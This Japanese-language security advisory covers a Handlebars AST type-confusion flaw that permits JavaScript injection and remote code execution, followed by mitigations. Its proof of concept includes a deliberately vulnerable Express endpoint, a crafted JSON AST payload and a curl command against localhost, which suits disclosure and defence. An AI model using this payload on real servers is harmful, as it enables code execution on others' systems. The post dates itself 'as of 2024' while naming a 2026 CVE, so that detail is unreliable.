[緊急解説] HandlebarsのCritical脆弱性 (CVE-2026-106446) AST型混同によるRCEの脅威と対策
はじめに:Handlebarsとその脆弱性の重要性
日本のフロントエンドエンジニアの皆さん、こんにちは。ウェブアプリケーション開発において、テンプレートエンジンはユーザーインターフェースを動的に生成するための重要なツールです。中でもHandlebars.jsは、そのシンプルさと強力な機能から広く利用されています。Node.jsを用いたSSR (Server-Side Rendering) や、バックエンドでHTMLを生成する際、あるいは静的サイトジェネレータの一部として、皆さんのプロジェクトでも間接的・直接的に利用されているかもしれません。
今回、Handlebarsに深刻度「Critical」の脆弱性(GHSA-8r5x-fm3f-whwj / CVE-2026-106446)が発見されました。この脆弱性は、細工された入力によってJavaScriptインジェクションを可能にし、最悪の場合、リモートコード実行 (RCE) に発展する可能性があります。本記事では、この脆弱性のメカニズムを技術的に深掘りし、皆さんが直面する可能性のあるリスク、そして早急に実施すべき対策について詳しく解説します。
脆弱性の概要:AST型混同によるJavaScriptインジェクション
この脆弱性は、「Handlebars: JavaScript Injection via AST Type Confusion in compile」と題されています。以前の複数のHandlebars脆弱性(GHSA-2w6w-674q-4c4qなど)に対するバイパスとして機能することが確認されています。
具体的な問題点は以下の通りです。
<code>Handlebars.compile()</code> および <code>Handlebars.precompile()</code> 関数は、通常テンプレートの「文字列」を受け取りますが、実は「事前にパースされたAST (Abstract Syntax Tree) オブジェクト」も引数として受け入れることができます。Handlebars 4.7.9でASTに対するバリデーションが追加されましたが、このバリデーションは不完全でした。
バリデーションが適用されるのは、<code>PathExpression</code>、<code>NumberLiteral</code>、<code>BooleanLiteral</code>ノードの特定のプロパティのみで、型を持たないプレーンオブジェクトや、他のノードタイプの値はチェックされずに素通りしてしまいます。この不備を悪用し、攻撃者は細工したASTオブジェクトを<code>compile()</code>または<code>precompile()</code>に渡すことで、テンプレートとして生成されるJavaScriptコードに任意のJavaScriptを直接注入できてしまうのです。
技術的な詳細:なぜバリデーションをすり抜けるのか?
Handlebarsのコンパイラは、ASTの特定のプロパティから値を読み取り、それを生成されるJavaScriptコードに書き込みます。この際、バリデーションをすり抜けるいくつかのパスが存在します。
最も典型的な攻撃経路の一つは、<code>Program.blockParams.length</code> プロパティを悪用するものです。通常、<code>blockParams</code>はオブジェクトであり、<code>length</code>はそのプロパティとして期待されますが、もしこの<code>length</code>が文字列であったとしても、以下の理由でバリデーションをすり抜けます。
1. <code>blockParams</code> オブジェクト自体には <code>type</code> プロパティがないため、型固有のチェックが適用されません。 2. <code>length</code> プロパティの値が文字列である場合、バリデーションウォーカーはオブジェクトではないため、その値をスキップします。
結果として、コンパイラは<code>program.blockParams.length</code>の値をそのままテンプレート関数内のJavaScriptコードに書き込んでしまいます。これにより、テンプレートがレンダリングされる際に、注入されたJavaScriptコードが実行されてしまいます。
他にも、以下のようなASTの値がチェックされずに生成コードに書き込まれる可能性があります。
- <code>depth</code> (<code>PathExpression</code>ではないパラメータに設定された場合): 例: <code>depths[<depth>]</code> - <code>StringLiteral.value</code> (文字列ではない場合) や <code>PathExpression.original</code> (文字列ではない場合): raw JavaScript literalとして。
これらの攻撃には、特定のコンパイルオプション(例: <code>stringParams: true</code>)が必要な場合がありますが、<code>Program.blockParams.length</code>を利用するケースはデフォルトオプションで機能します。
Proof of Concept (PoC) の例
以下のPoCは、Expressサーバー上で<code>Handlebars.compile()</code>に細工されたJSONを渡すことで、Node.jsプロセス内で任意コードが実行される様子を示しています。
1. 脆弱なExpressサーバーのコード例: ```javascript import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string res.send(template()); }); app.listen(2123); ```
2. 攻撃者が送信するJSONペイロード (<code>poc.json</code>): ```json { "text": { "type": "Program", "loc": { "start": { "line": 1, "column": 0 } }, "body": [ { "type": "BlockStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["missingHelper"], "original": "missingHelper", "loc": { "start": { "line": 1, "column": 0 } } }, "params": [], "program": { "type": "Program", "blockParams": { "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()" }, "body": [], "loc": { "start": { "line": 1, "column": 0 } } }, "openStrip": { "open": false, "close": false }, "inverseStrip": { "open": false, "close": false }, "closeStrip": { "open": false, "close": false }, "loc": { "start": { "line": 1, "column": 0 } } } ] } } ```
3. <code>curl</code>コマンドで攻撃を実行: ```bash curl -s -X POST 'http://127.0.0.1:2123/api/render' \ -H 'Content-Type: application/json' --data-binary @poc.json ```
このリクエストを送信すると、サーバーはHTTP 500エラーで応答し、レスポンスにはNode.jsプロセス内で注入されたコード(<code>Error: Injected code ran as uid 1000</code>)が実行されたことを示すエラーメッセージが含まれます。これは、サーバーサイドでのリモートコード実行が成功したことを意味します。
影響範囲:フロントエンドエンジニアへの警告
この脆弱性の影響を受けるのは、**信頼できない入力がオブジェクトとして<code>Handlebars.compile()</code>または<code>Handlebars.precompile()</code>に渡される可能性があるアプリケーション**です。特に、以下のようなシナリオでリスクが高まります。
- **<code>Handlebars.compile()</code>を使用している場合**: Node.jsサーバー上で、アプリケーションの権限で任意のJavaScriptコードが実行される可能性があります。これは、サーバーが攻撃者の制御下に置かれることを意味し、機密情報の漏洩、データの改ざん、システムの破壊といった深刻な被害に繋がる**リモートコード実行 (RCE)**を招きます。
- **<code>Handlebars.precompile()</code>を使用している場合**: 注入されたコードはプリコンパイルされたテンプレートに書き込まれ、そのテンプレートが読み込まれるあらゆる環境で実行されます。これには、ユーザーのWebブラウザが含まれるため、クライアントサイドでの任意コード実行、クロスサイトスクリプティング (XSS) などに発展する可能性があります。
フロントエンドエンジニアの皆さんは、直接Handlebarsを触っていなくても、ビルドツールやフレームワークの内部で利用されている可能性があります。特に、ユーザーからの入力を受け取って動的にテンプレートをコンパイルするような機能を持つ場合、この脆弱性の影響を強く受ける可能性があります。例えば、Expressなどのバックエンドフレームワークと組み合わせてHandlebarsをテンプレートエンジンとして使用しているケースなどが該当します。
緊急対策:今すぐできる対処法
CVE-2026-106446という番号からわかるように、この脆弱性はまだ修正バージョンがリリースされていない可能性があります(2024年現在)。そのため、以下のワークアラウンドが非常に重要になります。
<code>Handlebars.compile()</code> や <code>Handlebars.precompile()</code> に渡す引数が、必ず文字列型であることを確認してください。オブジェクトやJSONデシリアライズされた値を直接渡さないようにすることが最も効果的な対策です。例えば、リクエストボディから値を取得する場合は、明示的に型チェックを行うべきです。
```javascript // 脆弱性のあるコードの例 // const template = Handlebars.compile(req.body.text); // 対策後のコード例 if (typeof req.body.text !== 'string') { throw new TypeError('Template input must be a string'); } const template = Handlebars.compile(req.body.text); ```
このチェックにより、攻撃者が意図的にASTオブジェクトを送り込もうとしても、アプリケーション側で拒否することができます。
もし、皆さんのアプリケーションがテンプレートをビルド時にプリコンパイルしており、サーバーサイドで動的にコンパイルする必要がないのであれば、Handlebarsの「ランタイムオンリー」ビルド (<code>handlebars/runtime</code>) を使用することを検討してください。このビルドでは<code>compile()</code>関数が利用できないため、そもそもこの脆弱性の発生源となるパスが排除されます。
まとめと今後の対応
HandlebarsにおけるこのAST型混同脆弱性 (GHSA-8r5x-fm3f-whwj / CVE-2026-106446) は、そのCriticalな深刻度から、速やかな対応が求められます。特に、ユーザーからの信頼できない入力を受け取り、それをテンプレートエンジンに渡す可能性のあるシステムでは、直ちに入力値の型チェックを導入することが必須です。
日本のフロントエンドエンジニアの皆さんには、ご自身のプロジェクトの依存関係を確認し、Handlebarsの利用状況を把握していただくことを強くお勧めします。そして、可能な限り早急に上記ワークアラウンドを適用し、安全なアプリケーション開発を心がけてください。Handlebarsの公式な修正がリリースされ次第、速やかにアップデートすることも忘れないでください。
セキュリティは常に進化する脅威との戦いです。最新の脆弱性情報に常にアンテナを張り、積極的な対策を講じることで、私たちのアプリケーションとユーザーを守りましょう。